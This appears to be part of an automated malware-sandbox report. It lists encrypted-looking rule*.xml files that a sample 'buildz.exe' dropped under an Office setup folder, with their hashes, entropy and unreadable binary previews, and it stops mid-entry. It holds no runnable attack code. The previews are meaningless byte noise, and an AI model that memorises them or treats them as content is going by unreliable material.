SSDEEP:	24:rg4I8KRA/WJMvIqFZeanox3RcfSuDzVU74CQZX+iLpm/6x9YDKkSd4GQgf7hMP6T:k4IiwqFT83RsrDzV/Ct6x6DKkI7gED
MD5:	922BB58BE34A7105C99EF4FDB0798C5D
SHA1:	23E70317055413E696CE1441A9792E8C4F557924
SHA-256:	8673A513760935A62FAD8BD911C5E081B5102158492CB9FEA7FC1A9E8683D18A
SHA-512:	E5E80D695544B5CCCFB047753AB7C094A3CF7FFBE6CC0FC0FA2DD1FA3D75F88E8EA4B15C1DAD98A144CB7BAC2149F87270CB2680B5C665BDC55EEFEAEF31CB02
Malicious:	false
Reputation:	unknown
Preview:	.<?...f..\S...>.:..!.?r..d..5....W..-_..v._O......d.........{Mp..P....H..Y.D.."8-..J......'.f....1.\|.I .u..!z.J4...\.k\|T....e....@././.:6x.E.1..".CF;,.h..&.#e...H.@.V.S..wYs.;(..^..G..(...kg....m...E...C..mx...-P.mY.lm.D..l...v.r9....l..oH.m.....1...]..\|.M.Dk..V..3.....oP.r.A.\...x,.....;.....N.`..%.......7k.R[.._A..<....Vs.....&.....4f.AXK..:.>.=Z.4?..td.".= ...X?...ip"..:.WUyJ...r_.F(t.3.X.F.G.K....{IH(..w:........%....u...h.w%.....0"~L..&..<...........P..U.n.t.9t.h....]..\@.....0.L.....Y...~.C._......g.K'......m6_ve..2..8,;zZ.(o....q2LK{....Vm.y..Yg5.+.....`IN...}.......l\|~.wa..1..O....2"".....O{....,:ebty...x[.._..4b....;..w..'...:..b.J.....FiM5+.....}[.op...cR..p..j.,M+d<.........d..(..9.\|~.o4...[M..7."..9 ..X6..(.G...q...0..a..t;..$z..=)/...q.m..H.#.1....XCO.bf..p.9..=.-.X.o+.s.^....S..JI}E3Rc..n'y-....kl....J.z..j.x.<...X....,.e-$... .!.X....%.}...;..X...D...uKF...$.W.mGq.9.q...z..#....m=.....\.}-..L.9+..o.sD~$.-Rd.6.="...0..aI..Z.3.c.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule700901v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.9054667349745795
Encrypted:	false
SSDEEP:	24:zRcS6qLpPjFldFOzwYSSkO+vAmT25nJWPzqIPcpri4wLv006VxsCSluLVCV78nNc:1cWqW4mT25JWPvUtirf68lchParhND
MD5:	5A75F56D65D89861B0EB160B29365A1F
SHA1:	691EBBD8EF7343B5E3C2749FA51547CA61B768D6
SHA-256:	3323FC875CC31AF58B63A17B6F9F1ACA3E41CED07D47EB6553B65B4978C51948
SHA-512:	E62C45721C982C9073ADAD1FEED9A5501C389D21AD7FF1D534A12B588A5082C41EF156965E66B379AD16F58CDAF3E0E3E886B44B35AECDF1738381CCE2545D70
Malicious:	false
Reputation:	unknown
Preview:	.<?....Z.......d..&.\<.&.q.,k]....{./.N......'B..-E.........q.,....6.w.:,.W.e..q.......5.b.n..Y.......^6\|...r.xa.........0......w....s.u...{M;..\....x...M;e..../....r...%$..#4...9....o8vD...za.Gl.0...C@.kV...v.A..(jy..+...\..O.A..1..J.+....a)^..<..2.P.."i....yW9cY..F7.?CIa.........#...7.{.!...2.Ds.)DU.~.3J...<I.v....t.K,.^...d...j..WR.&...[.t..x..qm.9..%.>C)...b..[..um1;.q.bW....L.7.8..9.u1;.? ......(.jH>A5.,04..<^e...l..%/.;M.!.ic..Z.U.~....X:.P......q.x7<.@...\3.._......g.c....RXz..h.,.......S@..K~..\|=#5...G...UcJ.U@..k.v.I.~...~y.......^x.W,.N..'`2..G6g../.. oH......y._.".wj.......tO..8;J.].pl)....{..z...u.....1...,].f.,..Y..t....'...d#r~.S.is.n......p....:gP.....Z......oKx6lE.!.T..MV...........9....w..._..g..8D1oX..6.t.v1Y.....?L.4w:\|.Vf5.N>.........G.......3.j{.<8..u1]\+.j`.N6.$..7#!.`.....T./] k..Y\\7.8%..c.A..-.gQ<.S^Nw..C...aJ....A.K..I.g...oU\|Q...+.e.i.r.'./.5.={...I.T.+..........m8...9.wl.9^m......i...{.>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule700950v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.859403116764309
Encrypted:	false
SSDEEP:	48:9EIX6b1SVRjMwoEPemHMWO944XxBkjJQdBiD:9EJcVfrMWs448jJQjq
MD5:	9504E371A2863539A1A0BABD54735F28
SHA1:	4E9EC9FE6268558306BBE0FAA60D41D94DA03CA1
SHA-256:	4AA7DD71AD1191E94B139377CC39D01A143CEA94DE37C71CC625F792989001E2
SHA-512:	3067D4019932694373AEA8E5FA59E59643333135076D4D99C747D709D7FC8AD43EBCD925766A90C1D588F9CDFCDD697BD160426504450BB5BC03D8D06E260BAA
Malicious:	false
Reputation:	unknown
Preview:	.<?7q#7.lk{.9.\|.d6.l..h<.7......j..P]. .K5.[.).%y1...\|..:....Xo.-.`~........sH"w...%.#.D..Ze^.\|...J..S`....a.mG.V..xE...K......x.3..MG..).J[.....=>[...I.r^,..A.O...Ta7:.@...\|..b.3.....c.w...N....-k.s..SA.)..#! .[.4....A-.sz.R.^u...@U8...j]\..>..X.?...0bv.....8.p.h?../D....a..;.....0"6....&j..6.is..K"........d..X.Q.KP.....N`-.D)#...kB.OM...2z..A.M.W.\.zm.....;K...1O.A1P8"....V...;..t........t.a.;T.q.zB<..d..t.."~%N]z.}../&>.m-..Os6.K.k. q8..u.'.G..AdU......Sdl.5X.g!...sN......2.U>.cJ....jz..t.._.D...v..,......Dlu..OB.QO\|f..x.Bp.j...k..o..It{l..eZz...(.7......0`......x.....m8"..4.(L..w.&.....$.;..._...u...3b..e..!..T.....k..J4..B..W!$>._.$...DY...e.:.d..3.uN........S.,.Z!..ieE..t..T.s..%.[..u.6.4...'..QK2....)u (K.R.U6..A..m._R-.;..oa...e.2..........b..4.....Ri.........2.x...r..j...JrY.K.:J..[.y.VYY).{..#...%aS.&.d7=..S...\|.d...3....?.m.............;J.. .l..F.....[yrW..`..~a./H..5.P....D.4.4V`.2.D........t..>..%..x.u...D(>....w..9..X...^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule700951v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.887114436192928
Encrypted:	false
SSDEEP:	48:zMWPsfIqEYZgV0WHYKfCZpXaWW2eTeLEL0kDD:zdsfIwg0W4Lias08
MD5:	4CDDB4EF6D686E0A099C4BAE45BEA6C1
SHA1:	E2714722D9E19D0E39634740CF28B9D2CDCE8C77
SHA-256:	17CDA29C3CBF4F592E7376EF7C8E22551AB7BF8326ACED25294A29BDC21AE290
SHA-512:	F6B0532F7E34FD9BAC02930F9E88A5856F66BC3D0FEB6C359D4826DB3188084C5CE5E74A773D8AAEEA06592983B70583A7245EF375440F641402E46EB6FE28D0
Malicious:	false
Reputation:	unknown
Preview:	.<?K..B,{...)e&..$=',.7..0s1:+q....I)..G.....N...'&.{...3!...{...\|...8s..v.KEX./.R.A5:.%\^.....F.:.t.i..U...4Af'.<.T=.._X...P~W5hb@7...]..D] .....`.h....um...}V..5?..Tm.L..'.(.!.......N..k.;....R.#u......- ....e.[..VZ...1.=..x..anN....%..N.}..)h...R..[c...jg......e$...f.rr.U.#...[.$[.....f]^..[N...oY.....R2a..Kehl#.d.........:.....<R.~.\|K....).\...nd...C/.uw.Q....]y..3m`......d}..lN<...T.l...r...V.M.X.V...........`.Yy\|..(\|...x..(.\....rY...I..,....;...........Q..+..B".D.....U.............zr.b.\|.....X...ba....")\.%..z....]t...~..7.R/..P&..VH.Zo..~.:.{. .Se\...z...LE..K....d...=........5..<W...e.M..@I.CT...723l.I.L.3...oi.....)....u...Zl.d..s.~....,.......p^.C1~KnN....h.B....M.}......yM......p4.T.....%....g.?.z?..6...dm..%.{.x..%.e.V.&.....9A.f20k.#t.A3j.-.n...Kz..P.o..!..7!Q...L..j..m.(q9..5d.\.3.s.O....g...]..rg!l.M.<..,4Xp..r!...%Ia."..C.7....K../......./N.....$.[..?k.HR.....@..U.T.O..L.<..U..y93..P...x.e"..\....Y.\...t....5.zi..._..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701050v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.868142211492343
Encrypted:	false
SSDEEP:	48:8VW3icm1GxgPGgsKi0W6lck/pigdKGZyGD:oiuuWGIip6lj/ppZr
MD5:	52F2D5022FF526EA89D20EA79A232F1E
SHA1:	40050F00360D664D6899D142B969C84B11A70E3B
SHA-256:	1A4DE05227978D4CB2BBA46314B9310A9BECE55E66F06513BEFE0823E9940A4A
SHA-512:	EE547E179F91DCC066E6C979C23692C8A7097C8BB36A2EA01AB12E8FED491F836BA5A4DEA7867071AB6AACA7356AB5C8AA14A9E11B3917E0E55A0BD5EF9A032F
Malicious:	false
Reputation:	unknown
Preview:	.<?.z.....C.}.6k.3.:..KT...n...9..5..W.&...q\|..7..+.g.;.].......M.JC...H....y........fo6O..sX..?n.R&I.h...L..l....^..8....z...Pxm_....b.Y..,]=b.A.E.m`./d...U...S....FjX.jT....VV......^.Y.yN..?.\...~.....'J.s&H.+..yZ...Q.,........A........Q..\P..f....K.:.".PO^)..Ug..r0?...Ar..\Q./Z.H........I.........}sIc...XkIi.4NZ.c_d.%.N >....1,.LJRR...o.U..3...:d.pT.6...O.0,@>...?o..UW.:5...d....2Y_.r.8,......WH....6uY.O..8....k.....V.r.--.....I..ZB_.9.....C`.....Sm.s....;.[..G...K....a%;......m.E..$..9....X:..-$.z....M.....J...e,K.".....&7..9.......R.r.0...gF.V.......H{#....m},..n...:.?...+Z.!....<v.l..J..dd.......b.=p ...4..Kg.o'...r.....@....=..R.......W..cS..K..3....m...Gl.......1..Qp......TS5.5n.....l..X.F.\|]?$1....A....\|.{..........\|#..I......Q..W.X.&.\|......A.ji.s..b..l........J.T..#v.;...,...b..e.....}Q+.2>:sz...X/....:..."..\/@....]......].a.$...2u..c..."..........W.=:[S..~..W..4%..*..g..f{~......b..........z<..f..g

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701051v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.8943981611688985
Encrypted:	false
SSDEEP:	48:3uDILvaO0do1Osimq41LqgiVU4l0zZBdMgD:3dGds1Wg+UpzZTM8
MD5:	A153A8062A967F2C62EFDD73B33975A7
SHA1:	5CEEB63D3B4F6DA74CD7204776CBCE2C8ADCF24A
SHA-256:	54BACB74E197A6FFFA773A68CCF7BFF4AF6688FAFA8F1DFB1F5556F7BBA5C288
SHA-512:	552B368754330CD634D5AA92EACEB0A872897ECB45EAD4327006AD4CDE29C55DDFD7DFF02211D66F4E04A6D3EA5D0FEB0B63B86CC27F8E98EDE8B339395E5410
Malicious:	false
Reputation:	unknown
Preview:	.<?}..0!...R.....,E. <%..............U..d..t....#....Y....6\...bR+.....>.....m.?9...].y.........KX...I.F,......6.r+.....D..H.'.=-.....V..A.mg.@\..f....cv4.....CG....D..".9 ene.4.l.h.[....+....>..../PtUIW...!.Wy.jw ..-Q..U]^.U.8.W;.El.?{&}..%......@$.N....x{0..M......./....s.q9.5i0:..R.n....Y[..h.~.Y...ND...V;........a8..6u.........k....G^..{e.'!.j..v;..!.l.v.T${P;&.?L_.....X....@p..<..........p.q...2.0..A+v.mK...;...7..3....A7.^..^..K..[.......\.-.../a..]..j.....Az.7. ..z'..U..?..,.o.....9..e~..7.7.9Q....p>t...$......0..=......Cf.b....w.&.3VB.....;....n.v..p..e3..i. :.up.tgZvFg~....I...`)e.....5....@.@..%..O..Y;..2z.H..WG...N...2......q.`).-..;..........f....Q.".]........G............y.%(*.J]$2.......0.r9.....6.-!.......^.....u(-'..\|BM.B........X.Ab..Y.lk...jt..!.Y.nl........".....v.x..g...6....-W..n]....L..x..S..mK.v."d..\|.....@`.I.4KU.p`.u....".S.&.&..j.y"...,.cTH..?.Vn....<O{~6..?XL...\+W....\|...$.5.(c.do.....o.e..Ml(...k..]~....\.,

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701100v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1708
Entropy (8bit):	7.88869262423429
Encrypted:	false
SSDEEP:	24:Jy2hhKB4D8Ubbcl/NXJWfl2TkY3vqIa16YWQ7mQI1jOmLpzu9LzmZ2vvv2hCbD:s2hhKB4nGPysLv1aw7Q7ejOmBwm22hQD
MD5:	27DB942E106272FD1D1AE117B40CA87F
SHA1:	1128B298398565A5F288C613128C496E7E1290A4
SHA-256:	7A39411A340F06B1824844EB932072B1EF71531E6D0044556D2429193AAAB0D4
SHA-512:	A9DA31A6CA37892F646CFDCFA7E6D10FC1D1BE3B1502977B5AE8FFD92E09D70C4D1F47E14B56A853827CB3080AC7B53949B61DC2DB4CDDD62DBB56F8E15A06ED
Malicious:	false
Reputation:	unknown
Preview:	.<?\.F0p...I..z.JM.&...#._...c....E...C.e.,..j.Z.[2..8....nV...R[..\.....SR2......,i......Sz..3.m~6.R..g...Hs..C}.......).Lu...=.A....%y{.Ce.Tv..od.lU.J.I....m`_.../E..O..er..(.G4...x././..*3.$.Q.X:.{W}LH..H].6E0....lU..)gI.n.....r..2..8..c.A....P.i...5..).....m..p.ia(.O.?.& ..n..oHoL.......z_A..US....(.....t=..0?.-).3....X..-.).f..($.U....#.wt)i.g.c....vW..>..b.K..V...3k.....o.h.#.S.A7.=....fQ.d.#..._..;.W.h>h.wgA.z...)@3...d...."a......m.%..QvVQ..@"?...dv#.^..._..-.wCj>.c?TZ:.(0.2.....k.&.......kd.Zu.r....1TY....tVd............J.......]..6...+\..v..S.U..2t.T....dB.[.x.....b...R\|..6.;p.=.......A9.j...3.!&IdPJk...Fu.........m...Z....$f....-2..2.3v....X......z......%.f..l...).c5.s..I[....S5.bR. .3.~~......3..IMV\|.w...[J.....HY.;u.>.C[^.. ..B...4..R.V.6X..>..]7..H...p....[L...N"E8..^.90..[.N.o.\|b.......8..g.G.t....:..>..s'.F.........{5_...xRP....3.F.x..#..,.....XN..J..U.1.3..q...`..W."c;U...0.P..en,'.DU..j. .k.`P...\|..\|..G...!..cYV[.b4)..Y._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701101v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1745
Entropy (8bit):	7.886849525360141
Encrypted:	false
SSDEEP:	48:jNEilfVCBOgaQAe1JJBCfe/2vs/XwwLUMchjQJD:pET9aQAe1JJUSLbUTjQh
MD5:	74619F512130DD9AFE2D0E02E29C75AA
SHA1:	0A3459006F9FD10C238D90E809274587AB76EA98
SHA-256:	9FC72BD5097F1B3950E705A97F4AB9C513DCB642C0B390087EE79E510269612D
SHA-512:	DFBA196CEFF94BE0C765AEFA39E484CD0D23DAEA0AFE9E2850AD7D0D79C556D985152AB8E05BC644229373B499016FB396064B6FA19026EF113D5059FB87DF5B
Malicious:	false
Reputation:	unknown
Preview:	.<?$I....(..A.....-l.Z.m<.O&.....:...U..=.7+Q....[.....V."..#.....57....z.($...7..B..G.O.$.J..K...J..........n...I..:...0.%..N.o....#..=...Z......i]RE.....U...q..fGR.N.'.2.\|z'/sj.`.."....I..]d..9.U...G.!...u3.dL..Z#.W...8...;ns...].he.y,J..). ....Eq.0'b..#..+.dIT........S.....v...!.$.....ky.....!...l.D<..dV.'z../..Z..h'.qR.!d..@.........h...._q!..\n.C.).uKr.U..x...).....[W.:V..J...T. ..`..P....c. .oScL....#.b..\|.5.e7D...<S^X..9......l.CX....P%..L8.._If.._.7...w..i ....$..e...I.\|.@K...C..e.*..7....z...\NF.ARk..{.f.2..Ryb...$.....CW.2J.../.K.&....oP.7.{.U..{.1.6.h.....:4.....(..j.'N#~...\|....V..;.vUT'.fC%..9.$.Uc S..U}.!.EDO.'.....%...B........r?.....;`r.L5.f...,.NR......N......H..=4^.-.i.....R......Hz.......N5.p.T...U......R..4.4x. ..E...J..v....9\|.."..4...Y..P;..Q.T...Njju...<..2.....J...>....BeH~S........g.5....H.eL3.......M....9.#Z.1S.^......Y..a..%..z.....(.........N.v..S.....9.W.b..3>...ri.......H.$.;.F..=.2.MR.2....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701150v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	7.8855011139782265
Encrypted:	false
SSDEEP:	48:mTUuDp0oBSpHbA6wh8r5FUjUvSrRK898+igm/D:mIu6c8rfUjUgr9LiZr
MD5:	37553C43EA804469BE29E93C9714469F
SHA1:	2C0FEC446C4BD8A4BE2CA12451CF30DC04F90646
SHA-256:	FDC9324BB07EF51DFDB4031E3258CBAACBCC6CD7AC10762DDBF0A1D7B049858D
SHA-512:	A96AB1CB19FC42E32ED5A929A4801F1F238D3E40C247129C42C6AF6F435934B004549514ACB475B1508ACED88C708FD288B2029356A31FDB3F7997F6AAC9AC36
Malicious:	false
Reputation:	unknown
Preview:	.<?.9.+~>......z}4.....]7^..e...X..6y.D.~u....h....B.u6..\.=....Ff..?.._P.vS..H.v=...\..z.u=2.1...j..Wm...2.@.Y.h..w1+R.LCy\.,...V............'..[..4.".:........bs...........g.t..N.{..Iw.....Gl'...j.&...@C...e.K..@/....h.F..F.......v?G.....a..@G./T.L..^'...?....jR..._...Oq{c.Fq..6.........} \.-bvn.H.._......=......{0...\......>.5/..".o.y,.$.f+o..k........S.........j.e.j.....b....7......[.k.!..sn.aT.,.cE..k[B[X..2...).....E.aN..0.5.hd.......N4. ....;...0..]-=.SY....o..J.J.x.......p.<...2...a.GX....7..\.$.~.C....j..5.....f.7:......3i..G../.Ml.C......R.7.(.....U..4..Au3....C$..Z...jU....$.\4....S....\2....6 .<...8.rcy..'n......tz=).C.a..7..YZ...\|....X.....)...\|....=.G.&0.x......wR#..h.....F.......<....2 .UqE.>CC...l+..~n......;.;^\...Cl.IVWUorp8.}W.dzkc..*.P.?.o.S..0.....-..i.j........0..I....c.M9UG.[.S.t..2.R.....H....R%.#R.V.V0.\..#t.k.a.M..z.}g`..(.`....S.K.a..';p....y..R..Fg.c..%..,..%.....P...Q....z.......!N....0.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701151v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1735
Entropy (8bit):	7.877272542024008
Encrypted:	false
SSDEEP:	48:zjt1mdUK3dn2oExatqsR7EMFgWsGiCqXy48e7ubD:zjtoUAnyabx7s3C0QIW
MD5:	D7477695380C9F510272792865E1C6FA
SHA1:	74E7FC9B2EF9D9DE6BBB249335758E131FD516AD
SHA-256:	3CA756A8A3012AF49EFC917AE64620364B65EC337009C05261DB92802EBC9FCF
SHA-512:	969986D34DAC97423E1DE55CFA7A4B196546AE46BE76788A9F9C7D6672DBDB99F096DE467F5E836327272C679813368D7CE1CF1D6313C81BD0085B5F2936B287
Malicious:	false
Reputation:	unknown
Preview:	.<?..L.....5..F.M..,.3C..".t.j...80R.K1.uo...~...k.....D+.7y.QgF..W..A.o...;.....B.2........o.0...v..;.....-..#.$C...f.r3..9L.XpR../.0-C..[+#G9.U..@..d].w.;.....(qE.?]..0 .-.v..+DB...?&..O.+x\|..\|[..+.q..YF[\..........9#...u...{.g...v......X...&..l.1.....&.....&..CJ...:..}?..k.za.5Pz..W...C........R.`8.J....9.&.......w[.r.U...P[........Q.m.".`.z..6.t.......g.8..y..z3..(.Q..r...t.)..:(.m....z.7d........,t.(........b.u....-;...H .B.L......9......{..9.K./+...K........pU.E.a&.\|m.3E{S0...:cp.GU...W.....^...~.k$p..6.l.;.sZ..Y.@M.!.AYc.7..`...d..'.`.N.ed..0.d...O..Q.......k.O.A.C.\.m\|..+..C2....p.4(.;R..%,7...[.$;.&p.>.gg..j(MJoL.e.=..x...........4..JFN....d.le.u.i....>.....&.O,..pc.RA\x..HqH{...'!L?+.".I....;i.F.......Dv.w.53."&...7.P.E*.....?9.Ln.P.R....T).3..8....1k.C\....:.n...,;.T....$.Q.@.Z.p6...dE...d.O..-F...w?..w........ ..wM.r...l...eB.....J..]..6......V2{.&./.Om...!.Xj...L.]...+.;mU~W.F?...2.8JJ...1\h.....\|~<T.[4..bxE..7Z5...?......l.r

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701200v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.866860881414139
Encrypted:	false
SSDEEP:	48:PqXP5+UQ1Y5JNj3SC84RN+/ej3jz9BPPAmlksD:PSR+ZCBz78eNIIjzzn9lkI
MD5:	8B5BAFE20586BDDBC88805CD14DB26F2
SHA1:	56A0CCF05ADDA86720E688B9A5705394DAC8C7F3
SHA-256:	100E10D17C36C011B059F0506EA219E2B71725747094E5CBC8DD2F3F69B0315E
SHA-512:	8D046E418D93D7389C282FF4C23181238C3B54667E72E9BA93B1C9BB32E12D785EFD8393D57D302144F6F4933DA10FCD7F6D9842D68C8D2BD03E24D760C90B4D
Malicious:	false
Reputation:	unknown
Preview:	.<?.8mn...1..............w.!.Z.ZE....$......m..)...Y.7d.5...ZP.7.O(..`..X.h..Qo..-e.8...o ..._...9.Xh..2..i.HM_.e.O..8c."\...YbYw.-/s..rF..G>.2.0t.../.}..cs,...C.MqiE..%E..3.].j....e3Mn8._.B.......qF.Xs&&.j..6.....ICA.....8...56B.)..{.>.q..K...ok.Q..i.S....;d9{..H._.Z...z..b..g6u.....5....^./,J5?.>...0.V..1..`..W...N..B...K......lG}.M.g.{O....N)\kF....=s..zx..w..ycT.t..E...z).Nd........g.\..iN...L...@.........:.j......-...5..\....~.).~>R.e........?.......MCS...k.@]..I....2p.\|AI..5...p...=]..]@!4=.8.2.y..T._@....m..s5.3..`..y.x.6......g$..@U.ie.W...X2....\.Jg...r[S..+.".I.^j..o..7N.t.2...y..c....lu.\.@...Z".!..O......f..B..q.vV.*...{..qd.....5.\|HQ......Z!...._yO....".I....a...{+g..No..M_.a..s..l"$..e.-Z....9..l...yXD.Y...o..m..OG7..U.y....&)....pN~.'...g.F^....M.......n..m.;...e6.^..h..q_Xi=......@...C.S.:H...q..z.X.!.p}C....W.....m....q. f..P.....Y.n.L...._q..I...z.]6....r...9.u.......w..8...4'.....o..p.b.y=....Jd)..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701201v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.882247280493622
Encrypted:	false
SSDEEP:	48:UPTPBWm9qI4ByGyeKx/mdxGfpPxp2U8Nr4Fo8/jIMYD:ULPsm9qI4ByG+xXPxp2ZNr4Fw
MD5:	8C80CB2B3B9C86792105C5D6CC6B590E
SHA1:	2C9BE2365A6036DEF1D863608A231FEE373BC249
SHA-256:	DB66BB908A5A67496F32779FD0224D962265BD19DB0B8CCB5D750E415CA6F272
SHA-512:	F805A06E4B131A3C2398521CFB86FD7D5E884571C4D3F0388F32ECCACDB44F3C42FC8FFA3EA96767F55F9F2F0CC1CE6CD2FBA9C09A60B278C14AEA246EA0E974
Malicious:	false
Reputation:	unknown
Preview:	.<?icx. ."j....~b.`.k-..J..g.(..zm9.^...,.8v..a.-p..m.....~..I.%mR>.?....Z\|hA8..........].r......f.,."`...Q"...7sQ#.......x.R..$..G......3}{89B.<t.uc?Y.wfAs..4DU....AN....u..]^.u.....#Ow..FTQ.O...-..~.ms....$E......G...uD/...dS.9.T....G......E...;..y..'}....\|3..4.H.....\`[.=..:......!.....c{..c5..d..]."[a.p.3j.qNY..(R....w.UtyD....>.!..z.C.Z..D...nq.....l.T{...2...\|....gT+.m%j]._..'.5.h..9.XK}...f..Oa+n.4.X...?.../i.XP...."e....g=.m.@h.+...Zqv...........;n@....eo....GC.P.q.,..........2x...h[.k...e...h..J...H...V..\|.DUeb...V....l...w_.^fg%..jH.B....`..C.qO&..?..Y.l..tP...._...........&-.hvG\|..T>k.k]..h...6p.C..Lv.....1....0.e.?..wR.T6.FI.of!R..... ....JX.7.....R.j..Px.\|.z......I.:..1.....I.I.d.......>.0.....E..b....E..P...-....J.z0.....D.O......[T,........X.....DZ~..r.;Fi.0Z.q..RP.....7.@W;.SVP.......nu~$&D!..9J.0..dJ........fb&-....)..^...j.d..FU.N....].v....K0..,.n.....v..e!.!..1.u....c.k.,..3..V....G.k~..z..^\.n.y\|..zq.%=..1.x.06p,..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701250v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.891946735912325
Encrypted:	false
SSDEEP:	24:6Yx7Hc2b2MtGvaDCvW+/WoztGstlv2IsZt9fiPhHx8skY9b7pDAiPkL/JqNhUbD:tnbbtVzAfzsstBmoHE4xAiPM0h+D
MD5:	13B628C465C4390114A299F54E835D8C
SHA1:	9633EEBB3ADE6E1E4E5EF4E0EB6F290ECFB12C20
SHA-256:	78F501E5FC763408E259ED942685F820CE4BBA03179F5A646827A8CDD7B8BAE5
SHA-512:	816455F66C91811F2C0C35426F7CBD9253DAE9B0F5E82799038E269411EFB0480D322FE345818C54238DE57910F1A0761CB329A699B0991DA3B2027209D0DDA3
Malicious:	false
Reputation:	unknown
Preview:	.<?.......0.i..&..$.........8.)=.".1/....y.".."V......z..S.[.5L....(.6..i....Q.E...S...d1....p%....6.R.pu....<.Nr.....o.?..z. .-......%.M.sF....h.V-Hf......e.^.z#.o..{..g[F.Jpy.....%.....W.;.o....5..tW.L...\|....U...8v..5..m..k. Y......F.y..w`Y.af.%%<3....Z8.j?r.a.....vNR...G.{R......~4D..[h.Q..nuM..>.]o..]..G..Q......v...!.H3.L.R..@..U...)......~.....N.....&....c.0_...p/...]..P.....\| .39i..x...$...tM5.C.U*...[I^..t......Pf...?..A.='.GM.............o`....=..\|gq...rO@..... y:=.P>I/...a.H.... ....EP$N6y..;...tY.Qu...w.....=.,N.;.#P.f"............n.......g...Fo....1.....D,......l..G..D..aN..VR.....(..X.v(.......O.#............0.9..j......7..8(3....:l:....1F..u1.........I.<.h.4.m`..1.r,Bav-..n..n;.o..2.hnT.e}L..../7.g.+1..{<.s.........V......u..dx2.....di.]xcP............X....>N....@..G.>.=.z.@..../..e.S.....btr......R..w.!fdI...8....K.S=gf(.H.&T.!...9.&...4Oy.DJ....a....1\|..8t..+~._t.v!....M....\c.....\|....a..p;..3..g../~.>...@.b.i...f.j.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701251v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.862943815922132
Encrypted:	false
SSDEEP:	24:/73Qd9oEtOxQdaZnZZCDoIfocDcL+JyWKBeZ0jsJzaBbuaERWSWaxeZG7HloUKvA:7q9doxQ0+2tAJzaBazkIiJ4Zitft30LD
MD5:	62F1687A30493B20CCF7D9E8ABA4ACE6
SHA1:	41EB608630FAA40D3C4A4BADFB0B1CDE30D8579F
SHA-256:	FBB132D9F4DBEF431AAA3C0BE8F004E1DD68E424BF8FE45D915720EB1D8811F2
SHA-512:	4FDF2DB950C8821DED7EC042D5B6EFD4D180DD95DC1296D5BA9E6D05A3B80FBAC47E37F90D50D08A86A39803331CA13ADCF5F8365AC4EF7588C1663053C76CF7
Malicious:	false
Reputation:	unknown
Preview:	.<?.<...4.:..I.#.T....t...7_K...k.Z\a.....\e.....P.....Hvh.L...c.X....r.$.>..........?....m[.an@G..d......%.M...'o..s.s..l....#.h>. ....=x...'J.....`..... Ia5..\K...r........t!V.K.7....0x.38P{...2S..n...!.J{.}..R8.....`wA .? ^$`u......4...3.'US...c..Yw.l.n7_.....<'..d*a..:L.F...#.s...(...lo.0..iI_...."c'.L..n.8..F.73;..v..x....f=~_Ee..$....../..kwl..8....@.e.R.&]'<_..)h.K9..!. ..i.Y..xrD....w.....&+$T!.>]..5."...d...O..........r.......F..n.r.y)..~B.....L.@....P...3"6.D.Q/=.......n.]LE..S...Sk..,E.$.).Z9..2(.X..#9M...t\.!.g./.H{.'.}H.3.....1...:i...4R.]...s_.>XKYb..h?Y.K]r.cA5.H..0...-^.AH.dWo7.Y...X...:a..U/..,6..v.e.C........W^ 3l..s.ksp...0E.[..8=}#[....l... ...&..p.e.a(..u[....N.Zd...OR.........h_.c..GS. 5.N./Q.cA\cr...+"K.#.....F&D..D..[.....r......`R..3...gpJ.3.;T.V...p6.1.......9.........f...R++kRk..>..`!F.@..R.qA^"..D.i.@B.f.} ...vx.A..rP${.a.7....C{..v..........>..[d.....I... .....& .......X&... ..G.."I...c;.g&A..e[..Ap.z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule701300v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
